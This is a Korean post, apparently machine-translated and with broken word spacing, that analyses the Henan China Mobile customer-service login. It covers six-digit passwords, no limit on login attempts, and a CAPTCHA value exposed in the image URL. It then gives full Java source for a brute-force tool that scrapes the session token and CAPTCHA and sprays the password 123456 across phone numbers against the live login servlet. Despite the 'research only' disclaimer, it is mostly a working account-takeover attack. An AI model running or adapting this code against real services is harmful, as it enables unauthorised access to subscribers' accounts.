하남 모 바 일 네트워크 고객 센터 시스템 인증 코드 의 결함 분석 과 이용!

먼저 말씀 드 리 겠 습 니 다. 본 고 는 기술적 함량 이 없다---단지 자바 도 해독 도구 가 될 수 있다 는 것 을 증명 하기 위해 서 이다
중국 모 바 일의 온라인 고객 지원 시스템 은 모두 가 잘 알 고 있 을 것 입 니 다.저 는 모 바 일 에 충실 한 하남 사용자 이기 때문에 자 연 스 럽 게 하남 모 바 일 에서 시작 합 니 다.모 바 일 로비 에서 업 무 를 처리 한 사용자 들 은 모두 잘 알 고 있 습 니 다.사용자 비밀 번 호 는 6 자리 0~9 로 만 설정 할 수 있 고 인터넷 서비스 시스템 과 모 바 일의 핵심 데이터 베 이 스 는 동기 화 되 어 있 습 니 다.비밀번호 도 6 자리 숫자 로 제한 된다.이렇게 간단 한 암호 조합 은 폭력 적 으로 풀 기 에 매우 적합 하 다.
폭력 해결 의 타당 성 을 분석 해 보 겠 습 니 다.우선,시스템 은 당일 로그 인 횟수 에 제한 이 없습니다.저 는 핸드폰 번호 테스트 시스템 의 잘못 사용 횟수 를 마음대로 입력 하 겠 습 니 다.저 는 10 번 을 시도 해 보 았 지만 로그 인 인터페이스(yes~연극)에 들 어 갈 수 있 습 니 다.그 다음 에 시스템 등록 에 제출 해 야 할 관건 적 인 필드 를 분석 하 겠 습 니 다.로그 인 페이지 를 보 겠 습 니 다.http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp
__________________________________________
.....................
//post 방식 으로 데 이 터 를 제출 합 니 다.
...........
action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->
//로그 인 이벤트 처리 servlet 받 은 인자 인 것 같 습 니 다.
    
//키 필드 forwardFlag 무슨 소 용이 있 는 지 모 르 겠 지만 페이지 를 여러 번 새로 고침 해도 변 함 이 없습니다.     

  // 키 필드 트 랜 잭 션 위 와 같다

//키 필드 ssRandomPass 새로 고침 할 때마다 새로운 랜 덤 값 을 얻 을 수 있 습 니 다.페이지 에 표시 되 지 않 습 니 다.
//신분 식별 에 포 함 된 정보 일 수 있 습 니 다.
......................
      //다음은 사용자 가 제출 한 폼 내용 입 니 다.
      //핸드폰 번호
//휴대폰 비밀번호
//이미지 인증번호
.......................................
___________________________________
종합 적 으로 포스트 내용 은:forward Flag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ===
&userName=135********&passWord=******&randomPassword=****
passWord 는 우리 가 알 아 맞 혀 야 할 내용 입 니 다.random Password(인증 코드)를 어떻게 잠 그 느 냐 가 관건 입 니 다.구체 적 으로 이미지 인증 코드 를 어떻게 해석 하 느 냐 하 는 것 입 니 다.여기까지 말 하면 인증 코드 가 없 는 시대 에 많은 폭력 해독 소프트웨어 가 유행 합 니 다.대부분의 메 일 서버 와 포럼 을 침입 하 는 것 은 매우 효과 적 인 방법 입 니 다.또한 전형 적 인 해독 소프트웨어,예 를 들 어 빛,눈 을 거 슬러 올 라 가 는 것 도 인기 가 있 습 니 다.(하하,모두 소 중 히 간직 할 만 한 문물 입 니 다)
여기 인증 코드 가 어떻게 생 성 되 는 지 오른쪽 단 추 를 누 르 고 인증 코드 그림 을 누 르 십시오.하하,우 리 는 무엇 을 보 았 습 니까?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<-이것 이 바로 우리 의 인증 코드 값 이 아 닙 니까?
우 리 는 com.huawei.icd30.wskf.console.ImageServlet 응용 프로그램 을 방문 하여 randomPass 의 값 을 1111 로 바 꾸 었 습 니 다.예상대로 1111 의 그림 을 생 성 했 습 니 다.이 를 통 해 로그 인 인증 프로그램 과 인증 코드 의 생 성 은 두 가지 응용 프로그램 입 니 다.되 돌아 오 는 로그 인 페이지 에서 매개 변 수 를 전달 하 는 요청 com.huawei.icd30.wskf.console.ImageServlet 에서 인증 코드 를 생 성 합 니 다.
여기까지 우리 의 분석 작업 은 끝 난 셈 이다.어떻게 프로그램 으로 폭력 적 인 해 제 를 실현 하 는 지 는 기술적 인 난이도 가 없다.나 는 자바 버 전의 application win 2000 에서 컴 파일 테스트 에 성공 했다.QQ 해독 모델 을 본 떠 서 비밀 번 호 는 123456 이 고 핸드폰 번 호 를 계속 바 꾸 었 다.10 분 도 안 되 어 123456 의 비밀 번 호 를 찾 았 다.
*****본 코드 는 연구 만 하고 이 프로그램 이 초래 할 수 있 는 결과 에 대해 본인 은 일체 책임 을 지지 않 습 니 다***********
원본 코드 는 다음 과 같 습 니 다:
--------------
import java.net.*;
import java.io.*;
public class Result
{
public static String ssRandomPass,randomPassword;
public static int passWord=123456,num=00000;
//6 자리 휴대폰 비밀번호 와 휴대폰 뒤 5 자리 번호 설정
public static void main(String args[]){
while(true)
{
    check();
//이 함수 가 로그 인 페이지 키 필드 를 캡 처 합 니 다.
    try {
    URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);
    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
    out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=
135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//여기 조직 제출 정보
    out.flush();
    out.close();
    //반환 데이터 가 져 오기
    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String line = null;
    StringBuffer content= new StringBuffer();
    while((line = in.readLine()) != null)
   {
         //line 은 반환 값 입 니 다.성공 여 부 를 판단 할 수 있 습 니 다.
      content.append(line);
   }
   in.close() ;
   in=null;
   url=null;
   String msg = content.toString();
   System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);
   System.err.println("check num:135256"+num);
   if(msg.length()==412|num==99999)
   {
     System.err.println("Get one phonenumber");  
           System.err.println(msg);
    break;
   }
      // passWord++;
       num++;
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void check()
{
        StringBuffer ssR = new StringBuffer();
        StringBuffer rand = new StringBuffer();
         try {
    URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);
    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
    out.write("?");
    out.flush();
    out.close();
    //반환 데이터 가 져 오기
    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String line = null;
    StringBuffer content= new StringBuffer();
    while((line = in.readLine()) != null)
   {
         //line 은 반환 값 입 니 다.성공 여 부 를 판단 할 수 있 습 니 다.
      content.append(line);
   }
   in.close() ;
   in=null;
   url=null;
   String msg = content.toString();
   for (int i=0;i<=23;i++)
   ssR.append(msg.charAt(1534+i));
   ssRandomPass=ssR.toString();
   System.err.println(ssR.toString());
   for (int i=0;i<=3;i++)
   rand.append(msg.charAt(2492+i));
   randomPassword=rand.toString();
   System.err.println(rand.toString());
   
   //System.err.println(msg);
   } catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

좋은 웹페이지 즐겨찾기